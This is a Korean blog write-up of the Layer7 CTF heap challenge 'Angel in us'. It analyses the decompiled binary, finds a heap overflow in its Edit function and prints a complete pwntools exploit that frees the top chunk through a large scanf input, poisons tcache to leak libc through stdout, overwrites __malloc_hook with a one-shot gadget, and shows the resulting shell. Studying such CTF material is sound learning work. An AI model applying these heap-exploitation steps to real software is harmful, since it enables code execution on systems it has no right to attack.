본문으로 바로가기

Layer7 CTF - Angel in us

Summary

  • Top chunk free

  • stdout leak

  • scanf trick

이문제는 SED팀 소속 Howdays라는 빡고수형이 낸 문제이다.

대회중에도 솔버가 한명도 없었던 재밌는 문제이다.


Analysis

main()

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
 __int16 buf; // [rsp+6h] [rbp-Ah]
 unsigned __int64 canary; // [rsp+8h] [rbp-8h]

 canary = __readfsqword(0x28u);
 setup();
 buf = 0;
 while ( 1 )
{
   menu();
   read(0, &buf, 2uLL);
   if ( buf == 'E' )
  {
     Edit();
  }
   else if ( buf == 'M' )
  {
     Malloc();
  }
}
}

상당히 평-범한 메뉴 첼린지 힙 문제인걸 볼 수 있다.

특이점으로는 보통 View()가 없는데, 여긴 Free()가 없고, View도 없다.


Malloc()

unsigned __int64 Malloc()
{
 size_t size; // [rsp+8h] [rbp-18h]
 void *buf; // [rsp+10h] [rbp-10h]
 unsigned __int64 v3; // [rsp+18h] [rbp-8h]

 v3 = __readfsqword(0x28u);
 LODWORD(size) = '\0';
 buf = 0LL;
 printf("size > ");
 __isoc99_scanf("%ud", &size);
 if ( size <= 0x130 )
{
   buf = malloc(size);
   if ( !buf )
     exit(-1);
   printf("content > ", &size);
   HIDWORD(size) = read(0, buf, size);
   if ( SHIDWORD(size) <= 0 )
     exit(-1);
  ::buf = buf;
  ::size = size;
}
 return __readfsqword(40u) ^ v3;
}

평-범한 malloc을 구현한 함수이다.

사이즈를 0x130까지 입력받을 수 있고, 가장 최근에 할당한 힙은 buf라는 전역변수를 통해 관리한다.

사이즈는 size라는 전역변수에서 관리한다.


Edit()

unsigned __int64 Edit()
{
 size_t nbytes; // [rsp+0h] [rbp-10h]
 unsigned __int64 canary; // [rsp+8h] [rbp-8h]

 canary = __readfsqword(0x28u);
 nbytes = 0LL;
 printf("size > ", 0LL);
 __isoc99_scanf("%ud", &nbytes);
 if ( nbytes > 0xE0 )
   exit(-1);
 printf("content > ", &nbytes);
 HIDWORD(nbytes) = read(0, buf, nbytes);
 if ( SHIDWORD(nbytes) <= 0 )
   exit(-1);
 size = nbytes;
 return __readfsqword(0x28u) ^ canary;
}

평-범한 edit를 구현한 함수이다.

특이점으로는 사이즈 입력을 최대 0xe0까지 받을 수 있어 Heap overflow가 발생한다는 점이다.

놀랍게도 분석은 이게 끝이다.

Heap overlfow하나로 모든걸 다 할수 있다.


Exploit

from pwn import *

#context.log_level = "debug"

binary = ("./Angel-in-us")
e = ELF(binary)
libc = e.libc
r = process(binary)

def Malloc(size,content):
r.sendafter("> ","M")
r.sendlineafter("> ",str(size))
r.sendafter("> ",content)

def Edit(size,content):
r.sendafter("> ","E")
r.sendlineafter("> ",str(size))
r.sendafter("> ",content)

stdout = 0x404020

for i in range(22):
Malloc(0x80,"AAAA")

payload = ""
payload += "A"*0x80
payload += p64(0) + p64(0x151)
Edit(0xa0,payload)
# Top chunk to tcache bin

r.sendafter("> ","M")
r.sendlineafter("> ","1" * 0x400)
# If input big data in scanf, malloc is trigger.
# So, We can free Top chunk.

payload = ""
payload += "A"*0x80
payload += p64(0) + p64(0x131)
payload += p32(stdout)
Edit(0xa0,payload)
# Top chunk fd -> stdout

payload = ""
payload += p64(0xfbad1800)
payload += "\x00" * 25
Malloc(0x120,"AAAA")
Malloc(0x120,"\x60")
Malloc(0x120,payload)
# &buf -> stdout, so we can abuse stdout.

for i in range(2):
r.recvuntil("\x7f")

libc_base = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
libc_base -= libc.symbols["_IO_file_jumps"]
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
oneshot = libc_base + 0x106ef8
log.info("libc_base : " + hex(libc_base))
log.info("__malloc_hook : " + hex(malloc_hook))
log.info("oneshot : " + hex(oneshot))
# Leak libc_base and find gadgets.

Edit(0xa0,p64(0xfbad2800))
# Recovery stdout.

for i in range(21):
Malloc(0xa0,"BBBB")

Malloc(0x80,"AAAA")

payload = ""
payload += "B" * 0x80
payload += p64(0) + p64(0x101)
Edit(0xa0,payload)
# Top chunk to tcache bin.

r.sendafter("> ","M")
r.sendlineafter("> ","1" * 0x400)

payload = ""
payload += "B" * 0x80
payload += p64(0) + p64(0x101)
payload += p64(malloc_hook)
Edit(0xa0,payload)
# Malloc in __malloc_hook.

Malloc(0xd0,"AAAA")
Malloc(0xd0,p64(oneshot))
# __malloc_hook -> oneshot

r.sendafter("> ","M")
# Get shell.

r.interactive()

일단 익스코드는 이러하다.

첫번째로 우리는 top chunktcache bin으로 옮길것이다.

어떻게?


House of orange에서 top chunk 아래쪽에 있는 사이즈를 페이지 비트랑 뭐랑 해서 잘 맞춘다음에 손상 시킨 후에 그거보다 크게 말록해서 top chunk를 free하는거랑 똑같다.

top chunk사이즈를 0x151로 주작쳐서 저거보다 크게 할당하면 된다.

근데 scanf할때 입력 제한이 0xe0으로 걸려있다.

따라서, scanf에 엄청 큰 값을 입력했을때 내부 루틴에서 malloc하는 성질을 이용해서, top chunk를 free시켜주면 된다.


두번째로, tcache bin에 들어가있는 top chunkfdstdout의 주소를 박아준다.

그리고 stdout abuse를 통해 릭을 따준다.

같은 방법으로 __malloc_hook에 원샷 가젯 박으면 된다!


그리고 익스코드에서 아래와 같은 부분을 볼 수 있다.

for i in range(22):
Malloc(0x80,"AAAA")

이건 top chunksize를 티캐시로 맞추기 위함이다.


Flag

juntae@ubuntu:~/ctf/layer7$ p ex.py 
[*] '/home/juntae/ctf/layer7/Angel-in-us'
  Arch:     amd64-64-little
  RELRO:   Full RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     PIE enabled
[+] Starting local process './Angel-in-us': pid 4235
[*] libc_base : 0x7fb62b195000
[*] __malloc_hook : 0x7fb62b379c30
[*] oneshot : 0x7fb62b29bef8
[*] Switching to interactive mode
UH\x89䈃ꏤH\x8b\x04%(: 1: ello,: not found
$ id
uid=1000(juntae) gid=1000(juntae) groups=1000(juntae),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),118(lpadmin),129(sambashare)

라업을 보고 풀긴 했지만, 개인적으로 정말 재밌게 풀어본 문제였다.